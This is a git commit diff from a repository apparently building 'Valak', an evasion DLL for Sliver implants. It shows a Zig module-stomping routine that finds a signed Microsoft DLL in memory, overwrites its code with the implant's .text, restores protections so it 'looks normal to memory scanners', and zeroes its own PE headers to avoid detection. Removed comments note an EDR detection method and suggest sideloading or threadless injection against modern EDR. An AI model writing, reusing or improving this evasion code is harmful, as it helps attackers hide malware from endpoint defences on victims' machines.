Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.
This commit is contained in:
+7
-19
@@ -1,10 +1,6 @@
|
||||
// Module stomping — copies .text into a signed Microsoft DLL, wipes PE headers.
|
||||
// Reference: https://dtsec.us/2023-11-04-ModuleStompin/
|
||||
// DETECTION: DbgMan (May 2026): "Backing-file integrity check: for image-backed regions,
|
||||
// compare the in-memory bytes against the corresponding file offsets on disk. Divergence
|
||||
// indicates module stomping." PE header zeroing is a known signature. RWX on signed
|
||||
// Microsoft DLL triggers behavioral alert. Consider DLL sideloading or threadless
|
||||
// injection as alternatives for modern EDR environments.
|
||||
// Copies .text into a signed Microsoft DLL, wipes PE headers.
|
||||
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
|
||||
// RWX on signed Microsoft DLL triggers behavioral alert.
|
||||
const win = @import("win32.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
@@ -12,15 +8,11 @@ const pe = @import("pe.zig");
|
||||
|
||||
pub var g_evasion_relocated: bool = false;
|
||||
|
||||
// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers.
|
||||
// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable).
|
||||
// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes.
|
||||
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" };
|
||||
|
||||
if (our_base == null) return null;
|
||||
|
||||
// Walk PEB to find a suitable signed Microsoft DLL target
|
||||
const peb = resolve.get_peb();
|
||||
const ldr = peb.Ldr;
|
||||
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
@@ -34,7 +26,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
|
||||
|
||||
// Match against our target shortlist (crypt32, dwrite, msvcp_win)
|
||||
if (target_base == null) {
|
||||
const buf = le.BaseDllName.Buffer;
|
||||
const len = le.BaseDllName.Length / 2;
|
||||
@@ -47,7 +38,10 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
var c2 = target[ci];
|
||||
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
|
||||
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
|
||||
if (c1 != c2) { matches = false; break; }
|
||||
if (c1 != c2) {
|
||||
matches = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (matches) {
|
||||
target_base = le.DllBase;
|
||||
@@ -63,7 +57,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
if (target_base == null) return null;
|
||||
|
||||
// Parse our own PE to locate the .text section
|
||||
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
@@ -74,7 +67,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
||||
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
|
||||
|
||||
// Scan section table for .text
|
||||
var text_start: ?*anyopaque = null;
|
||||
var text_size: usize = 0;
|
||||
for (0..nt.FileHeader.NumberOfSections) |i| {
|
||||
@@ -87,7 +79,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
if (text_start == null or text_size == 0) return null;
|
||||
|
||||
// Step 1: Make target memory RWX so we can write into it
|
||||
var target_mut: ?*anyopaque = target_base;
|
||||
var region_size: win.SIZE_T = target_size;
|
||||
var old_prot: win.ULONG = 0;
|
||||
@@ -100,12 +91,10 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
);
|
||||
if (!win.NT_SUCCESS(st)) return null;
|
||||
|
||||
// Step 2: Copy our .text into the target DLL's memory range
|
||||
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
|
||||
const src = @as([*]const u8, @ptrCast(text_start.?));
|
||||
@memcpy(dest[0..text_size], src[0..text_size]);
|
||||
|
||||
// Step 3: Restore target to RX so it looks normal to memory scanners
|
||||
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
|
||||
var restore_size: win.SIZE_T = target_size;
|
||||
var new_old: win.ULONG = 0;
|
||||
@@ -117,7 +106,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
&new_old,
|
||||
);
|
||||
|
||||
// Step 4: Zero out our original headers so scanners can't find a rogue DLL header
|
||||
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const e_lfanew = dos.e_lfanew;
|
||||
@memset(old_bytes[0..64], 0);
|
||||
|
||||
Reference in New Issue
Block a user